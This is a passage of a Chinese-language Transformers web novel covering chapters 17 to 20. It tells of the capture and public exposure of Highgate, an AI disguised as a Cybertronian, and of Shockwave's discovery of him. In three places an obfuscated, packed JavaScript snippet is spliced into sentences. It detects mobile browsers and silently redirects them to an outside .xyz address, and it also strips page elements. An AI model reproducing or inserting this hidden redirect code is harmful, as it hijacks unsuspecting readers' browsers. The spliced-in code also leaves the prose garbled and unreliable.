站遥远的夜空中,眺望着那些火种明亮的踪迹,那越逃越远,向着安全的方向前进的几人…… 胸口传来奇异的悸动。 是快乐吗?但跟以前在大学那些愉快的时间也完全不同。 “我从来都不知道……” ——不知道,居然会有如此绚烂的时刻。 【“你刚刚说话了?”】 “……我说现在请继续往东行驶,追兵已经变少了,可以适当提速。” 【“我合理怀疑我的助手没有说实话。”】 “根据以往的数据判断,说出来可能对您火种健康不利,您现在的状态无法及时就医。” 【“好啊,那结束了你再告诉我。”】 如果这段时间,能永远继续下去…… 但几乎是下一个瞬间,海格特就忽然清醒过来。 不可能的。 要说为什么……因为他隐瞒了更重要的事。 “议员。” 【“怎么了?”】 “一直瞒着你们我很抱歉,但如果…如果我不是——” 【“啊该死!抱歉,你刚刚说什么我没听见,”】震荡波突然惊呼一声,几乎是发狠地念出一个名字,【“御天敌!他真的疯了,刚刚飞过去一颗高能相位导弹,如果不是派克斯拦截下来就会打进居住区!”】 飞行器上遇到了麻烦,海格特没能把话说完。 【“刹车提前看到了它,我们能解决。”】是奥利安的声音,沉稳又坚定。 “明白了,我刚刚是想说,请加速驶离当前区域,然后往……” 海格特尽着自己的职责,没有再提刚才的话。 内线突然传来一条消息,是警车发来的:【注意警惕。】 看到这几个字的瞬间,一种奇怪的感知让他意识到了一件事。 不知何时开始,震荡波议员他们的前进路线就被接连而至的追兵牢牢限定在某个范围内,危险密集地接踵而至。 ——以至于自己已经很久很久,没有移开视线,看过身后了。 那位才思敏捷的机械法医也同样发现了事态异样,但发出这四个字,也就说明他没有其他办法。 海格特想了一下,马上给出了一切顺利的回复。 【“我们进入安全区域了,马上前往医疗点位。”】震荡波说。 “好的。” 【“保持联络。”】 “……” 【“海格特?”】 首先是引擎由远及近的轰鸣。 然后是阵列整齐的脚步声,以及同等数量的武器充能的动静。 就像一直保持着静默,此刻算准了时机,从容地自海格特身后响起。 “议员,您出去时注意躲避东侧的追兵,”他没有动,依旧看着几人的火种,“甩开这批人后,就直接去医疗点位吧。” 【“我好像听见有什么动静。”】 “……没事的。” 议员助手对着对讲机说了最后一句话,没头没尾,更像是自言自语。 “没什么可害怕的,我能解决。” 说完,海格特回过头。 光线有一瞬刺痛光学镜,很多武装卫兵站在那里,为首的塞伯坦人身形高大,一身庄严肃穆的金红色涂装。 只是站在那,就宛如不可逾越的高墙,令人心生敬畏。 现任的汽车人安保部长御天敌,此刻就站在这里。 关于这个人,海格特有太多疑惑的地方,比如对自己的通缉、对领袖展开的刺杀,在开展了那么疯狂的抓捕后,此刻又突然出现在这……不,比起这些,还有更重要的: “你的火种为什么——” “闭嘴,我没有跟机器对话的兴趣。” 话一出口就被极为不耐地打断,海格特只来得及发出一个代表疑惑的气音。 冲击到来。 音频接收器被巨大的嗡鸣声覆盖,这声音刺耳得让意识都暂停了几秒,视野也宛如接触不良的屏幕般闪烁。 意识出现了漫长又短暂的空白,然后强烈的痛苦将他拽回现实,尖锐的神经信号从右侧蔓延。 海格特看向右边,或者说曾经是右手的那个地方。 对讲机已经连同整只手一起被炸飞,只有融成液态的金属还在缓缓往下流淌,冒着灼热的黑烟,缓缓凝固。 他只能睁大眼睛,茫然地凝视前方。 在他面前,御天敌将刚刚用来攻击的小型炮筒收了起来。 “疼痛会干扰运转流程,要我说这纯粹是是多余又无聊的设计,但现在看来,我得承认这台机器的设计者当初还挺有前瞻性。” 右手臂缺失的末端就像连接了一个膨胀的燃油泵,随着体内管线循环一并砰砰直跳地灼烧。 然而更令他无法忍受的…… “不要那样称呼我。” 伴随着平静却坚决的这句话,奇异的纹路开始在前额蔓延。 而看到这一幕的御天敌,只是早有准备地拿出了一个装置,看上去是某种引爆器。 “它连接着一个在冒牌领袖胸腔里的炸弹。”他不紧不慢地将装置递回给手下,“一旦我下线它也会启动,别的解释我就不多说了,投降吧。” 海格特停了下来。 一直以来的不祥预感成了真。 “你是什么时候……” 不,御天敌不会回答的,于是他停止了询问。 是红色警报被操纵的那次?还是进入安保部门总部的时候?无论如何,自己的能力被对方知道了。 海格特试着在内线发送过信息,但周围被设置了数个干扰装置,根本发不出去。 如果有远程武器就好了,因为刚拥有视觉,还没经过热武器培训,他身上唯一的武装是从先进技术学院借来的冷兵器。 逃走的路被封死,直接跳下大桥无异于自杀,他又不会飞。而且在逃走的这段时间里,御天敌恐怕就会引爆炸弹。 那就只有战斗…… “……” 能做到吗? 随着冷空气置换入机体,一种陌生的情感捕获了他,让海格特不由得退后半步。 然而就是这个微小的、几乎可以忽略不计的、任谁都能理解的动作,却让御天敌像是注意到什么稀奇东西那般敛起光学镜。 “是你伪装得太好,还是这里真的发生了什么荒唐的事?” 金红色的安保部长亲自上前几步,居高临下地审视海格特。 “我可没听说过,一台机器也会怕死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790680|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “……!” 在没有任何守卫反应过来的瞬间,深色的身影划过一条弧线,瞬间击倒几个围过来的守卫,又绕至御天敌身后,刀刃由下向上猛力刺向视野中那颗小小的火种所在的位置。 虽然被对方偏头躲开关键,但仍然刺了下去。 接下来就是用尽全力,破坏电磁层、破坏外层装甲、破坏金属骨骼,然后猛地向外一拉—— “砰!” 伴随着又一声枪/响,刀刃脱手而出,伴随着喷溅而出的能量液,在夜空中闪闪发亮。 机体损伤严重,但是还不要紧,他的身体构造和普通的塞伯坦人有本质区别,再生的速度也更快。 海格特被数名守卫围住,悬殊的机体差异成了弱点,这场战斗仿佛无穷无尽。 人群之外,负伤的安保部长并未发出痛呼,只是皱了下眉,他依旧高昂着头颅,用眼神警告了旁边试图过来询问情况的手下。 “在我的时代,不会有人惧怕一台机器。”御天敌看着还在战斗的人影,“六百万年前我见过那颗‘眼睛’,那时候它可比现在要好用得多,至少……不可能犯这种低级错误。” 他说着,抬起手臂上的充能枪/械,对着混战中的人群。 “轰!” 一切都发生得太快,海格特还没来得及判断情况。 可以肯定的是,身体倒下了,连同几个守卫一起。御天敌把他们的脑袋或者身体一同击穿,没有打中一颗火种,但他们也要死了……为什么? 他们不是同伴吗? 明明不想,但还是倒在地面上,能量液流失,机体从胸口被打穿,警报声几乎在内部系统里发出刺耳轰鸣,非常想下线,非常……不行,还不是时候。 于是他再次站了起来。 耳边似乎传来有人惊呼的声音,然后是御天敌不耐烦的话语。 “新鲜火种遇热会爆炸?哈,一帮蠢货倒向我说起常识了。 都睁大你们废物一样的光学镜看看!眼前这个东西,哪怕装得再像我们中的一员——它真的有火种吗?” 视线。 无数视线落在身上,惊讶的、厌恶的、恐惧的…… 为什么? 为什么偏偏是这种时候…… 对于刚离开奥提雷克斯大学的海格特来说,一切都很轻巧,连生死都只不过是一种只存在于数据流中的模糊概念。 坏了就修好,报废也就报废了,被发现身份就离开,说到底状态如何根本无所谓……本应如此。 所以到底是从什么时候开始的? 对世界产生眷恋这件事, 还有,越来越胆怯,以至于说出自己不是塞伯坦人的真相这件事。 是因为看到了相同的世界吗? 还是说…… “我现在给你两个选择,一是投降,二是我全面推进普罗图斯那拖拖拉拉的‘大镇压’,毕竟谁也说不准会有第二个‘机械’藏在里面。” 海格特不动了。 “好了,把这里发生的事以最高等级送给全球范围的媒体,就跟当年那个煽动者奥利安在议会的演讲一样,” 御天敌指挥着手下。 “既然他们都说最无法容忍欺骗,那就让他们都好好看看——看看这个世界上最恶劣的骗子是怎么潜藏在他们之中的!” 不知道是伤势过重,还是精神刺激的缘故,音频接收变得断断续续。 昏暗的视野中,海格特忽然看到内线收到一条消息,通讯似乎恢复了。 是幻觉吗? 【别忘了你还有问题没回答,你也赶紧过来。】 【抱歉。】 抱歉骗了你们。 早知道会变成这样…… 还不如真的从一开始就只做一台机器。 —— ———— “给他套上禁锢夹钳带到总部,我还有事情要做……啧,元老院那帮家伙真以为我是为了帮他们处理一个议员弄得这么大阵仗……” 天微微亮时,战斗尘埃落定。 一名汽车人安保部队的守卫听令上前,在收拾着尸体的同僚之间,给那台停止了行动的机器套上禁锢装置。 不知道是否是他的错觉。 在精疲力尽,始终站着的这台机器眼睛里,好像有一滴泪。 18.第十八章 荣格开着他的速可达,在铁堡的小道里穿行。 昨晚似乎发生了什么大事,到处是议论的人群和巡逻卫兵,很多路被临时封锁,以至于他只能改走这种小路。 但这一切都不能影响荣格的好心情,他刚收集到了方舟3号模型的几个关键配件,正准备回去打磨。 橙色的心理医生吹着小调,想象那几个零件涂装上色,最终拼到模型上的样子。 原初的版本就是好,严丝合缝,纯粹而无畏——就像他这具从未经过改造,完全保持“高保真状态”的机体那样。 天生的就足够完美,可惜放眼整个塞伯坦,改造仿佛才是常态。 但凡事都有例外,他还真遇到过一个和自己一样,没有经过任何后天改装痕迹的人。 那是个叫海格特的患者,或者说,朋友。 虽然来的次数不多,但他不会像别人那样忘了荣格的名字,甚至会特地给他送贺卡和礼物,所以心理医生记得很清楚。 海格特的机体也拥有跟他不相上下的“完美”水平。这里的“完美”不是说美观或功能强大,而是一种精细。 硬要形容的话,就像是世界第一的模型家用最严谨的态度做出来的那样。 ……就像他自己做出来的模型那样。 荣格几乎被这个荒唐又有些自大的想法逗笑了。 他将想法抛在脑后,再次沉浸于即将制作出完美方舟3号模型的愉快中,驾驶速可达穿过小巷。 为了回到诊所,接下来需要穿过时钛广场,那里的大屏幕正在播放新闻。 【“紧急突发:伪装成塞伯坦人的机械知性体昨晚袭击汽车人安保部队总部和谢尔玛桥一带,造成大量伤亡……”】 什么‘机械知性体’?那是什么东西? 陌生的词汇让荣格愣了一下,和其他走在路上的人一样,他转头向屏幕看去。 首先是个短短几秒的视频,谢尔玛桥上,有个“人”站在地上的尸体之间,他的胸口已经被开了个洞,但依旧继续站起来战斗。 视频之后,是一幅画面。 不仅是时钛广场,塞伯坦几乎所有的无线频道都收到了这条消息,作为紧急联络内容,它被授予了最高等级的传播速度。 画面上,荣格花了几秒才意识到那是什么。 那是刚刚出现在袭击视频中的塞伯坦人,此刻被束缚在一张电路板上,各种管线连接着他的机体,在旁边的仪器上显示着各类信号。 在原本火种舱的位置上什么也没有,直接能看到后面的电路板纹路。 无论如何这都不应该是一个活人,可偏偏就在此时,这个没有火种的,被束缚的“人”似乎感觉到什么,微微睁开眼。 那场面有种说不出的恐怖。 “它没有火种,只有一个用来伪装的燃料泵…… 不知道已经藏在人群中多久了,对,目的暂时不明,但根据最近的行为判断,它显然极度危险…… ……是的,那些灾难性损害……我们为昨晚被它杀害的遇难者感到痛心……” 接受采访的研究人员还在继续说些什么,但荣格没有再听进去。 因为他认识这个“人”。 正是名为海格特的,那个单纯又友好的患者。 在旁边那些或恐惧或惊讶的声讨声中,他只是摘下护目镜,皱起眉毛,难以置信地喃喃着:“这不应该……” —— ———— 科诺姆新星城。 “我说了,我现在需要回铁堡!” “那意味着您将失去一切科研机会,天火教授,”拦在大楼门口的卫兵冷冰冰地回答,“这是政府的最后通牒,一旦您离开大楼,我们将删除您在奥提雷克斯大学的所有记录与权限。” “够了,给我滚开!” 天火几乎是吼着说出这句话,一拳砸过去,但被功能主义政府的卫兵避开,他砸在了旁边的玻璃门上。 “海格特不可能杀人,你们更不能用什么‘机械知性体’来称呼他!发出这样的新闻纯粹是欺骗!” “元老院的首席科研机构不会做出错误判断,新闻也是由多个民间机构自主采访后的结果。” “采访?你们只告诉他们部分的真相!” “是吗。” 卫兵依旧冷漠地看着他。 “那您的意思是,您能证明那个东西其实有火种吗?” “……” 天火依稀回忆起,在自己被迫离开奥提雷克斯之前,海格特突然找到他,说要进行火种逆向工程的研究。 “这是个了不起的课题,”当时的科学家欣喜地问他,“你为什么会决定研究这个?” “这项技术可以帮那些遭到俱五刑的人恢复原状,也能让冷制造者找到更合适的机体。” 海格特说到这里,抱歉地笑了一下。 “而且如果能完全掌握火种频率的构成逻辑,或许可以做出人造火种……我在想这样的事。” 在近乎窒息的几个恍惚后,天火发现自己已经回到了个人实验室。 似乎受到某种指引,他打开一个上了锁的抽屉,里面静静躺着一个东西,是前不久一个飞行员给他的。 那是一个霸天虎标志。 —— ———— 月卫二。 在一个矿场管理员工作间内,声波沉默着看完了整场新闻。 机器狗抑制不住地从喉咙里发出愤怒的低吼,而激光鸟则是移开了视线。 “烂透了。”她幽幽地道,“一切都是。” “全是谎言,这事跟火种有什么关系?我们有火种,他们又是怎么对我们的?”机器狗的爪子在地面上刻出深深刻痕,“我真想咬烂他们的喉咙!” “我也是这么想的。”激光鸟说,“虽然现实是我们在矿井里,为了一口能量果腹不得不替他们干活。” “总有一天的。” “是的,我也觉得总有一天……” 在这被悲观和仇恨占据的空间内,声波只是沉默着。 一言不发地,将这一切映入眼中。 —— ———— 汽车人安保部门,科研部。 感知器翻阅着厚厚的汽车人法典,这已经是第三次了。 “其实早在发现他那天起,你就应该预测到类似这么一天的到来。”千斤顶说,“另外你正在做一件消极的事,那本法典只针对拥有火种的合法公民,而他们刚刚取消了海格特的一切身份。” “是的,我承认。”感知器疲惫地蒙住眼睛,“你呢?联系审判官那边的人有结果吗?” “……” 千斤顶沉默一会儿,叹了口气。 “我联系到了通天晓法官,也尝试了沟通,最后他说不追究奥提雷克斯的责任就已经是极限,隐瞒非公民的人也是有罪的。” “有罪,”感知器轻轻念着这个词,“它的定义我开始有点忘了。” —— ———— 东部工业区,医疗点位内。 “我不想把话说得太难听。” 震荡波握紧拳头,看向拦在诊疗室门口的警车。 “所以这是我最后一次提醒你,按照法律规定,这个建筑是我的财产,我有权让你让开!” “随您,但救护车是这里唯一一个医疗单位,”警车一边说着,一边在数据板上点着什么,“他刚解除了领袖体内的炸弹,一旦接下来的手术失败,逆天劫就会死。” 那颗炸弹是几乎在海格特发出最后信息的同时被发现的,如果在这里的人不是双手极度灵巧的救护车,可能也就无法解除。 在听到警车的解释后,震荡波显然更加火冒三丈。 “哈,所以我们有一个用假领导模块骗过所有人的领袖,还有谋杀领袖、嫁祸无辜,干了那么多好事却还有脸说别人是骗子的安保部长,然后现在,有人还要维护这一切!?” “一旦逆天劫死无对证,那包括海格特的被捕在内,我们的行动都是白忙活,我只是不想因为您的个人情绪把一切都毁掉。” 警车说到这,微微抬了下眼。 “我的逻辑电路显示您会有87.5%的可能性发起攻击。” “那当然——” “但奥利安·派克斯将您拦下的几率更高。” 正如警车所说,话音未落,沉默的执法人员就拦下了议员即将打出去的拳头。 “冷静一下吧,”红蓝色的执法人员叹息般地说了一句,然后看向警车,“你也是,我们需要详细计划一下接下来的行动。” 回答他的是警车的一声冷笑。 “计划?你们已经成功让所有可以用的人——包括刚刚那个见习理论家和能让设备停止运转的异能者都精疲力尽地离开了,现在还谈什么计划?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802567|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 银白色的机械法医从门口让开,摆了个“你随意”的动作。 与外表的冷静不同,自从看到早些时候的新闻开始,警车的心情也一直糟糕透顶。 海格特的“真相”被揭露,就像一个期待已久的谜题被人粗暴地撕碎扔掉,问题多得令他无法忍受。 真相从来不会刺痛情绪,只有错误才会。 所以新闻说的什么——海格特是个藏在人群中只为了突然出来搞一场失败的破坏的‘知性机械体’——他当然一个字也不会信。 但是。 “比起冲动之下将逆天劫拽出去跟御天敌对峙,我也有我的计划。” “你的计划是什么?”奥利安认真地问。 “你想知道是吗?” 警车直直看向他,那双浅蓝色的光学镜内是几乎凝固成粘稠实质的执着。 “我会加入汽车人安保部队,会找到正确的方式,然后从制度的根源上解决问题。 所以,现在这里没我什么事了。” 说完,他像是松了口气般地放下数据板。 震荡波不知何时已经冷静下来,无言地看着他,当警车即将走出门时,才开口问了一句:“你确定?” “当然,”警车没有回头,“和你们不同,在做出正确选择的时候我永远都很平静。” 海格特或许是一个谜题。 但是塞伯坦人策划出来的谜题,注定将由塞伯坦人来破解。 政府曾经花了无数年来训练警车成为一名合格的机械法医,他又花了无数年磨炼自己的逻辑能力和推理能力,做到现在事务官的位置。 但是结束这一切,向内部系统递交辞呈后转入安保部门的决定和过程。 只用了短短几分钟。 “……” 寂静的空间内一时只充斥着沉默。 过了一会儿,还是奥利安·派克斯率先开口打破了宁静。 “在休整过后,我们还是必须救海格特出来,”他看向震荡波,“虽然我暂时想不到很好的办法,但可以从收集情报开始,你有什么主意吗?” 然而一向热忱的震荡波此刻却没有立刻回答,而是靠在墙边闭了闭眼,欣慰而疲惫地叹了口气。 “这就是我最欣赏你的地方,派克斯,你不会坚持那些死板的‘正确’。” “我只是不得不这么思考,”奥利安轻轻摇了摇头,“就是因为太长时间相信一切都井然有序,让我忽略了很多。” 就像海格特的存在,又或者功能主义正在逐渐杀死塞伯坦的这件事。 “是啊,这也是我认为那个机械法医会偏离真相的理由。” 震荡波说着,将手伸向一扇封闭的窗户。 “他还在试图找出一个有迹可循的真相,但海格特的存在违背了我们塞伯坦人眼中的规律,顺着这条路是永远也找不到的。” 窗被封死了,因为常年无人管理,一颗损坏的螺丝卡住了它。议员随手找了个工具,一下下地拧着它。 “……你有时候会说些深奥的话。” “那我换一种说法,”议员撬开螺丝,打开了窗,“海格特的存在符合另一种规律,一种非人性的规律,也就是——” 光线照进屋内,也照亮了震荡波的面甲。 “——神的规律。” —— ———— 主系统下线了70%以上。 不知为何,记忆储存系统的运转也突然出现了严重错误。 但在现在的状态下,很难说这是好事还是坏事。 海格特微微转动了一下光学镜,这是他为数不多还能动弹的部分。 可能是那些抑制网和禁锢夹钳的作用过了头,他现在也无法看见火种,或者使用“眼”。 无论如何看待,这都已经是绝境。 而就在这万念俱灰的状态下,脑海中那个熟悉又陌生的声音再次响起。 【“你会经历痛苦……痛苦会唤醒意志,海格特。但不需要追寻它。” “它总会找上门,当然,我更希望那一天不会到来。”】 思维发生了短暂的停滞。 紧接着,某些事物变得不一样。 「检测到协议二启动。 A类记忆储存库已加载构建。」 耳边全是声音,眼前全是光线。 他默默注视着那些涌入脑海的信息。 19.第十九章 数百万年前。 塞伯坦地下,次级能量层内。 在这已经不知道多少年无人踏足的深层区域,此刻回荡着一道格外嘹亮的歌唱声。 “啊——!” 曲调宏伟而广阔,搭配歌唱者那格外气势磅礴的唱法,给人带来的观感几乎不亚于一场电子暴风过境。 “哈哈,可以了。” 在一个换气的间隙,镇天威有些受不了地拍了下军事顾问的肩膀,笑道。 “我还是觉得这听上去有点太过头,这是什么歌来着?” “创作者叫它‘至高天组曲’,为了纪念那场光之堡垒战役。”狂飙停下歌唱,“曲调非常美丽,我用万魔潭方言写了一首词——为了它的纪念意义,您应该接受这只曲子。” 一板一眼的严肃表情,跟他说的内容完全不相称。 “这件事上我认同他。”惊破天也看向镇天威,“将塞伯坦从十三部落混战的泥潭中拽出来,建立成一个统一的世界完全是你的功劳,接受这些赞美吧。” 听见这话,不久前刚接受了钛师傅的祝福,成为新任领袖的镇天威只是谦虚地笑。 “好吧,但准确来说是‘我们’的功劳。” 在广袤的地下空间,领袖停下向前的脚步,视线缓缓扫过自己亲密的副手们——狂飙、惊破天、顶天者,还有…… “哲拉萨斯?你在看什么?” “呃?非常抱歉,陛下,”红色头雕的塞伯坦人比另外几人都矮了一头,姿态上也格外小心翼翼,“我只是在观察这附近,有些地方不太对。” 他疑神疑鬼地缩着脑袋,就好像角落里随时会冲出一只怪物什么的。 “我跟你说了,不要那样称呼我。” 镇天威微微蹙了下眉,但很快再次舒展开来。 “说吧,具体是哪里不对劲?” “先是数据,这里的读数出现了无法解读的异常,”说到自己的领域,哲拉萨斯的语速快了不少,“但我说不上来,我还在寻找方向……” “其实我也感觉到了。” 一直沉默不语的顶天者此刻发话了。 “我有一种被看着的感觉,而且好像听到了声音,就像……” 「咔哒、咔哒」 “我说不上来,就像是齿轮咬合?” 于是镇天威抬了下手,得到指示的几人同时屏息静止,但片刻后,他们也没能从周遭的寂静中听出点什么。 “除非是我们的音频接收器同时出了问题,”银蓝色涂装的领袖想到了什么,看向旁边的狂飙,“我知道了,说不定是你的歌声唤醒了沉眠于此的古老幽魂,来找我们寻仇。” 惊破天和顶天者都笑了一下,而狂飙只是挺直腰杆。 “如果真有那样的敌人,我会将它斩于剑下。” “我开玩笑的,别那么死板。” 镇天威笑着摇摇头,再次看向哲拉萨斯。 “你可以花很长时间来调查这个问题,战争已经结束了,这附近也没什么危险,不如叫上你的学生一起过来,我记得那个小伙子叫……叫什么来着?” “回陛下,是震荡波。” “噢,好的,那就赋予他进入地下探索的权利。” 镇天威顿了一下,又补充一句, “……还有别再叫我陛下了。” 他们继续往前探索,然而就在往前走了一段距离后,哲拉萨斯注意到那个刚刚停下来的动静又响了起来,它非常细微,几乎就像一个幻觉。 「咔哒、咔哒。」 但是真的存在。 —— 这是个大到几乎能容纳“巨大”这个词本身的地下空间。 当震荡波带着科研设备第一次踏足地下次级能量层时,他有好几次都以为自己迷失了方向,如果不是老师在前方一直坚定地带着路,他可能真以为自己在原地打转。 “我们到了,你注意到什么没有?”哲拉萨斯问。 “的确有说不通的地方,”震荡波一边回答,一边将手伸向附近的墙壁,“这个空间是亮的,但墙面只是普通的金属石壁,没有自发光的功能。” 他看着墙壁上自己手掌的影子,倒推着往后看,试图找出发光体的位置,却什么也没看到。 “没错,你观察得很仔细。” 科学家赞赏了学生的发现,然后再次提问。 “来历不明的光源、来历不明的声音,除了我们这种喜欢刨根问底,对数字敏感的人之外都不由自主地忽略,这让你想起什么?” “……信息蠕变。” “正确。”哲拉萨斯观察着四周,“这附近一定有什么被我们忽略的东西,我已经在分子级别检测过这个空间,但出来的数据根本无法阅读,看来它的蠕变程度已经强大到连客观记录里都无法被认知。” “那要怎么才能注意到它?” “别着急。” 科学家说着,从随身带着的科研道具里翻了翻。 “你还记得你之前做过的那个‘镜面信息复制’吗?那个小玩意正好能派上用场。” 震荡波没想到会在这里听见这项技术的名字,那个技术本来是他试图复制能源用的,但只能记录信息。 紧接着,他眼前一亮。 “您想通过特殊镜面的信息转移,来消除信息蠕变的作用?” 镜子里套着镜子不断反射,就像无限的圆会变成直线那样,只要转移的次数够多,无限遥远的信息蠕变最后也会不复存在。 震荡波不由得用崇敬的目光注视着哲拉萨斯。 虽然大多数人都更加崇拜终结了内战的英雄,但只有震荡波知道,他的老师才是那个能带领塞伯坦人走向更远未来的人。 他的智慧无所不能。 之后,哲拉萨斯继续检测附近的读数,一边调整仪器,一边指导自己的学生打造出了那面特殊的镜子。 “有位哲人说过,镜子是个罪恶的东西,因为它让宇宙的数量倍增。” “这话有违常理。” “当然,”科学家最后确认了一下成品在理论上的可行性,就将它交给震荡波,“你来试一下吧,通过它看一下周围。” “是。” 镜子不会让宇宙的数量增加,它只会让宇宙反映出原本的样子。 震荡波双手捧起那面镜子,他先是看向墙壁,它果然没有自发光能力,也没什么特别之处。 所以问题应该在别的地方。 这样想着,怀着对哲拉萨斯近乎盲目的信赖,年轻的科研者转了个身。 “……” 第一件意识到的事情是,有什么东西正在发光。 蓝色。 美丽而柔和,带着丝丝凉意,但让人很舒服的浅蓝色光线充斥着整个地下空间,仿佛容纳一切,无边无际地向外扩张。 沐浴在这光芒中,就仿佛被它充满整个机体,于是颜色仿佛变成了触感,变成了听觉。 随后,震荡波听见了那个清脆的声音。 「咔哒。」 仿佛一万个齿轮同时咬合,美妙悦耳,秩序井然的声音,不知为何,它比至高天组曲还要神圣,几乎像是从自己身体深处,火种的深处响起来的。 就在这个声音响起的同时,那个发光的东西动了。 就像静止的雪花屏无法显示任何东西,只有当它动起来时才能看到画面那样,在那东西动了一下的瞬间,震荡波才发现了它的正体。 他们正站在塞伯坦地下空间的一条小路上,这条路有着微微的弧形。 ——因为在旁边的深坑里,有一颗占据整个空间的“眼球”,正在平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811600|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静地,默不作声地看着他们。 先前顶天者听到的声音,还有刚才震荡波听见的齿轮咬合声,就是这个庞然大物随着他们的行动而移动瞳孔的声音。 「咔哒。」 “……!” 隔着镜子,年轻的科研者轻轻吸了一口气,和那颗眼睛对视。 一种近乎恐怖的神圣感刹那间捕获了他,这感觉毛骨悚然,恐惧异常,但是—— “太美了……” 震荡波近乎失了神,恍惚间情不自禁地感叹出声。 仿佛透过那只眼睛,万事万物都能看到他们自己,直面生命的神圣。 在那一刻,尽管认为神明只是个科学概念,但他还是感觉世界上有某种可以被称为神迹的东西。 不然是谁创造了这颗巨眼呢? 视线突然变得模糊,震荡波反应过来,他居然被震撼到不知不觉流了泪。 “啊,你又开始了。” 哲拉萨斯略带嘲讽的声音从旁边传来。 “我早就跟你说,过度的情绪投入对科研有害,你该尽早去做个火种波动限制手术,或者干脆剥离情感模块,你还不听。” “抱歉,老师。”震荡波迅速擦干眼泪,笑着回答,“但我感觉……它好像也在看着我们。” —— 在那之后,震荡波花了数千年的时间试图和这颗眼睛建立沟通。 事情进展得无比艰难,由于信息蠕变带来的副作用,他偶尔会有那么几十年甚至上百年完全把这件事抛在脑后,直到幸运地因为一个契机重新想起来,再重新进入地下进行研究。 “这下连我都开始佩服你的毅力了。” 某次看见学生又往地下跑,哲拉萨斯忍不住说。 “根据读数反应,那台眼球形态的机器除发光之外大概率没有其他作用,它的研究等级并不靠前,或许就是一个自带追随功能的漂亮灯泡,但你还是坚持三天两头往它那里去……算了,随你,科学是自由的。” 这是这位老师最好的地方,他心态放松,从来不干预自己学生的个人兴趣,哪怕看上去再荒谬。 但是,如果他知道今天我即将在这下面做什么实验,恐怕也不会这么说了。 震荡波想着,同时戴上眼镜——他已经把之前厚重繁复的镜子变成了更轻薄的模式。 在看见那颗巨眼后,他展开随身携带的折叠式光屏,在上面写下几个巨大的文字符号。 “虽然我不知道你看不看得见,但今天是这几个词。” 他对着那颗眼睛说。 哪怕知道这颗眼睛可能没有别的作用,没有威胁,没有益处,也没有解决什么问题的价值,但他还是锲而不舍地尝试和它沟通。 震荡波总觉得它是有情感的。 把一个机器看作有生命的个体,这种事绝对不能被其他人知道,不然肯定会觉得他疯了。 “虽然不知道你能不能接收音频。” 震荡波说着,点了点上面几个古老的塞伯坦符号,又点了点自己。 “这个词是我的名字,如果你也有名字,就随便用什么方式来告诉我吧,比如转动你瞳孔的角度,改变一下移动时的音频规律,或者——如果你能眨一下眼?好吧,看来不能……” 和往常一样,眼睛没有作出任何反应。 我到底在做什么荒唐的事? ——这样想着。 「咔哒、咔哒、咔哒。」 千年来头一次,在没有跟随某人的情况下,那颗眼睛忽然开始自己动了。 它用极其精巧的动作转动着瞳孔,在深浅略有差异的浅蓝光线中,震荡波几乎忘记了言语,却还是牢牢记下了眼睛的移动轨道。 经过一阵数据破解,他得到了一个词。 “Highgate。” 20.第二十章 哲拉萨斯看着数据板上的一行行记录,上面是震荡波这些年来,对深埋地下的那颗名为“海格特”的眼球型装置的研究内容。 可计算性已证实通过。 符号处理和算法限制问题也已经确认突破。 “关于资源限制,可以之后再说,”震荡波兴致勃勃地说着,将数据板调到某个部分,那里是一段录像,“在没有干预的情况下,海格特自主学会了三种新的计算方式,所具备的自我成长性不比任何一个塞伯坦人低。” 科学家凝神分析了许久:“我没有看到任何有关CNA、遗传组织或火种的存在报告,你取样过吗?” “我用生命探测仪试过,读数为零。”震荡波补充,“如果您是想问他是否与传说中的魔力神球有关,我直接问过,他说自己是被一个塞伯坦人制造出来的,除此之外一概不知。” “好吧,看来我们找到的是一台连传说都没有提及过,真正来历不明的智能机器。”哲拉萨斯眼中的思索更深,他将数据板递回给震荡波,然后问,“交代你的事进行到哪一步了?” “正在做意识上传,”震荡波说着,转头看向一个东西,“我提出给海格特造个方便行动的身体后,他很快就答应了。” 广阔的地下空间内已经竖起一台培养舱,在被层层线路簇拥着的液体中,依稀能看见一具逐渐成型的机体。 培养舱的后端则是连接着那颗巨大的眼睛,它的光芒正在微微闪烁,显然在处理某种任务,让整个空间都泛着摇晃的浅蓝色光。 “按照目前的进度,估计等您完成地下水晶城的重建工作,他也差不多会苏醒。” “比我预估的要慢不少,你给他下载额外程序了?” “是的,下载了基础行为操作系统,包括语言模块和行为模块,可能他还需要时间理解。” “花点时间也无妨,只是……”哲拉萨斯仔细凝视着这具机体,然后用略带不赞同的口吻道,“你设计里的多余部分也太多了,非常浪费。” 